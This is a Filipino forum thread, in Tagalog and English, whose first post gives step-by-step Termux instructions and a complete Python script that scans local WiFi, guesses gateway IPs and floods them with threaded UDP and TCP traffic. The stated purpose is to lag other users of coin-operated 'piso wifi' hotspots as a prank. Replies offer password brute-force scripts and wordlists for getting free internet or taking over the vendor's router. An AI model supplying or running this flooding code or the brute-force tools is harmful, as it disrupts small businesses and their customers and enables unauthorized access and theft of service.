Piso wifi multiple attack ips | no root

mjcontega

Grasshopper
Very sample attacking multiple piso wifi just my own logic

Gusto mo Mang trip ng mga naka piso wifi or naka piso wifi tropa mo at gusto mo I lag sila.



Step 1: make sure meron kayong Termux at Termux API galing sa Fdroid na dinownload niyo

Step 2: punta sa termux at paste mo lahat na necessary na pkgs copy this:

  • pkg update && pkg upgrade -y && pkg install python git termux-api wireless-tools -y

Step 3: make sure naka on Location mo bago mag save ng script at na on muna yung location at create kana ng nano pwede kahit ano name:

  • nano example.py

Step 4: so naka create kana at Doon mo I paste lahat na script sa loob ng nano example.py ito yung script copy moto lahat na script at paste mo sa loob ng nano example.py :


#!/data/data/com.termux/files/usr/bin/python3
import socket
import threading
import time
import os
import random
import subprocess
import json

# Function to scan for nearby WiFi networks using termux-wifi-scaninfo
def scan_wifi():
"""Scan for nearby WiFi networks using Termux API."""
try:
result = subprocess.run(["termux-wifi-scaninfo"], capture_output=True, text=True)
networks = []
scan_data = json.loads(result.stdout)
for network in scan_data:
ssid = network.get("ssid", "UnknownWiFi")
if ssid and ssid != "":
networks.append(ssid)
return networks if networks else ["UnknownWiFi"]
except Exception as e:
print(f"[-] WiFi scan failed: {str(e)}")
try:
# Fallback to iwlist
os.system("pkg install wireless-tools > /dev/null 2>&1")
result = subprocess.run(["iwlist", "wlan0", "scan"], capture_output=True, text=True)
networks = []
for line in result.stdout.splitlines():
if "ESSID" in line:
ssid = line.split('"')[1]
networks.append(ssid)
return networks if networks else ["UnknownWiFi"]
except:
return ["UnknownWiFi"]

# Function to infer potential gateway IPs
def infer_gateways():
"""Infer common gateway IPs for WiFi networks."""
common_subnets = ["192.168.0", "192.168.1", "192.168.2", "192.168.3", "192.168.4",
"10.0.0", "10.1.1", "172.16.0", "172.17.0", "192.168.100"]
gateways = []
for subnet in common_subnets:
for i in range(1, 3):
gateways.append(f"{subnet}.{i}")
return gateways

# Validate active IPs with a ping test
def validate_targets(gateways):
"""Ping test to validate active IPs."""
active_targets = []
for ip in gateways:
try:
result = subprocess.run(["ping", "-c", "1", ip], capture_output=True, timeout=1)
if result.returncode == 0:
active_targets.append(ip)
print(f"[+] Active target found: {ip}")
except:
continue
return active_targets if active_targets else gateways[:5] # Fallback to first 5 if none active

# Function to send UDP packets
def udp_flood(target_ip):
"""Flood a target IP with UDP packets."""
common_ports = [53, 80, 443, 8080, 22] # Focus on common ports
while True:
port = random.choice(common_ports + [random.randint(1, 65535)])
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(1)
try:
packet_size = random.randint(512, 2048)
packets_per_burst = random.randint(500, 1500)
for _ in range(packets_per_burst):
s.sendto(b'\x00' * packet_size, (target_ip, port))
time.sleep(random.uniform(0.001, 0.01))
print(f"[+] UDP: Sent {packets_per_burst} packets to {target_ip}:{port}")
except Exception as e:
print(f"[-] UDP Error on {target_ip}:{port} - {str(e)}")
finally:
s.close()
time.sleep(random.uniform(0.1, 1))

# Function to send TCP SYN packets
def tcp_flood(target_ip):
"""Flood a target IP with TCP SYN packets."""
common_ports = [80, 443, 22, 8080]
while True:
port = random.choice(common_ports + [random.randint(1, 65535)])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
try:
s.connect((target_ip, port))
print(f"[+] TCP: Connected to {target_ip}:{port}")
except Exception as e:
print(f"[-] TCP Error on {target_ip}:{port} - {str(e)}")
finally:
s.close()
time.sleep(random.uniform(0.01, 0.1))

# Display colorful ASCII art for "MJ PHC ๐Ÿ’€"
def display_header():
print("\n\033[1;35mโ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—")
print("\033[1;35mโ•‘ \033[1;36mโ–’โ–“โ–’ \033[1;33mM \033[1;31mJ \033[1;32m \033[1;34mP \033[1;35mH \033[1;36mC \033[1;33m \033[1;31m๐Ÿ’€ \033[1;35mโ–’โ–“โ–’ \033[1;35mโ•‘")
print("\033[1;35mโ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•\033[0m\n")

# Main attack function
def chaos_flood():
display_header()

# Scan for nearby WiFi networks
print("[*] Scanning for nearby WiFi networks...")
networks = scan_wifi()
print(f"[*] Found {len(networks)} networks: {networks}")

# Infer and validate gateway IPs
gateways = infer_gateways()
print(f"[*] Inferred gateways: {gateways}")
active_targets = validate_targets(gateways)
print(f"[*] Active targets: {active_targets}")

# Number of threads (balanced for non-root)
num_threads = 50
threads = []

# Start UDP and TCP flooding for each target
for target in active_targets:
# UDP threads
for _ in range(num_threads // len(active_targets) // 2):
t = threading.Thread(target=udp_flood, args=(target,))
t.daemon = True
t.start()
threads.append(t)
# TCP threads
for _ in range(num_threads // len(active_targets) // 2):
t = threading.Thread(target=tcp_flood, args=(target,))
t.daemon = True
t.start()
threads.append(t)

# Monitor attack progress continuously
start_time = time.time()
try:
while True:
active = sum(1 for t in threads if t.is_alive())
elapsed = int(time.time() - start_time)
print(f"[*] Active threads: {active}, Time elapsed: {elapsed}s")
print(f"[*] MJ PHC ๐Ÿ’€ is flooding the networks...")
time.sleep(10)
except KeyboardInterrupt:
print("\n[!] ChaosFlood halted by MJ PHC ๐Ÿ’€...")
finally:
print("[+] Cleanup complete. Exiting.")

if name == "main":
chaos_flood()





Step 5: save muna yung script dahil tapos na paste yung lahat script sa loob ng nano example.py at I save pindutin ๐—–๐—ง๐—ฅ๐—Ÿ + ๐—ซ + ๐—ฌ ๐—ฑ๐—ถ๐—ป ๐—˜๐—ก๐—ง๐—˜๐—ฅ


Step 6: paano ba I run? So tapos na enter mo at isulat mo muna wag mo kupyahin yung name example yung ilagay mo na name yung pinalit mo sa name na example example: if nilagay mo ๐—ป๐—ฎ๐—ป๐—ผ ๐—ฝ๐—ผ๐—ด๐—ถ.๐—ฝ๐˜† yan ilagay name mo sa chmod +x example.py ipalit mo yung name na ๐—ฝ๐—ผ๐—ด๐—ถ:

  • chmod +x example.py

Step 7: ito na I run muna yung script! Make sure naka on na yung location. Ito paano I run:
Dapat kung ano name nilagay mo yan gamit pag run same lang sa step 6.

  • ./example.py


Pag mag stop kayo at ayaw niyo na pindutin niyo pa ulit ang CTRL C para mag stop by the way our script mag attack yan hanggang sa ayaw muna at gusto mupa I lag hanggang sa gusto mo.


Enjoy Hope can help my script and comments nalang ano problems at issues para ma solve
Screenshot_20250522-161750.webp
 
need naka connect ka sa mismong piso-wifi? Btw, thanks for sharing paps
I connect mulang sa piso wifi kahit wala time sa piso wifi pwede yan

salamat paps
Ur welcome paps

ANY WANT SCRIPT TO BRUTE PASSWORD PISO WIFI USE MY SCRIPT AND WORDLIST VERY SAMPLE MAKE SURE UR PISO WIFI NIYO PASSWORD LANG NEED AT NO NEED USERNAME? COMMENT NALANG SA MGA NEED
 
I connect mulang sa piso wifi kahit wala time sa piso wifi pwede yan


Ur welcome paps

ANY WANT SCRIPT TO BRUTE PASSWORD PISO WIFI USE MY SCRIPT AND WORDLIST VERY SAMPLE MAKE SURE UR PISO WIFI NIYO PASSWORD LANG NEED AT NO NEED USERNAME? COMMENT NALANG SA MGA NEED
need paps
 
wala bang para maka connect ng libre paps?
Need mo I brute force yung password maka libre ka ng internet or add time or kahit ano Gawin modified mo buong router ng piso wifi if ma success pag brute ng password if piso wifi diyan ay password need no username baka pwede ma brute natin yan
 
I connect mulang sa piso wifi kahit wala time sa piso wifi pwede yan


Ur welcome paps

ANY WANT SCRIPT TO BRUTE PASSWORD PISO WIFI USE MY SCRIPT AND WORDLIST VERY SAMPLE MAKE SURE UR PISO WIFI NIYO PASSWORD LANG NEED AT NO NEED USERNAME? COMMENT NALANG SA MGA NEED
Me bossing

Need mo I brute force yung password maka libre ka ng internet or add time or kahit ano Gawin modified mo buong router ng piso wifi if ma success pag brute ng password if piso wifi diyan ay password need no username baka pwede ma brute natin yan
Sana ma pm
 

About this Thread

  • 64
    Replies
  • 6K
    Views
  • 43
    Participants
Last reply from:
Idot12

Online now

Members online
1,257
Guests online
1,058
Total visitors
2,315

Forum statistics

Threads
2,273,186
Posts
28,948,061
Members
1,235,655
Latest member
hkql
Back
Top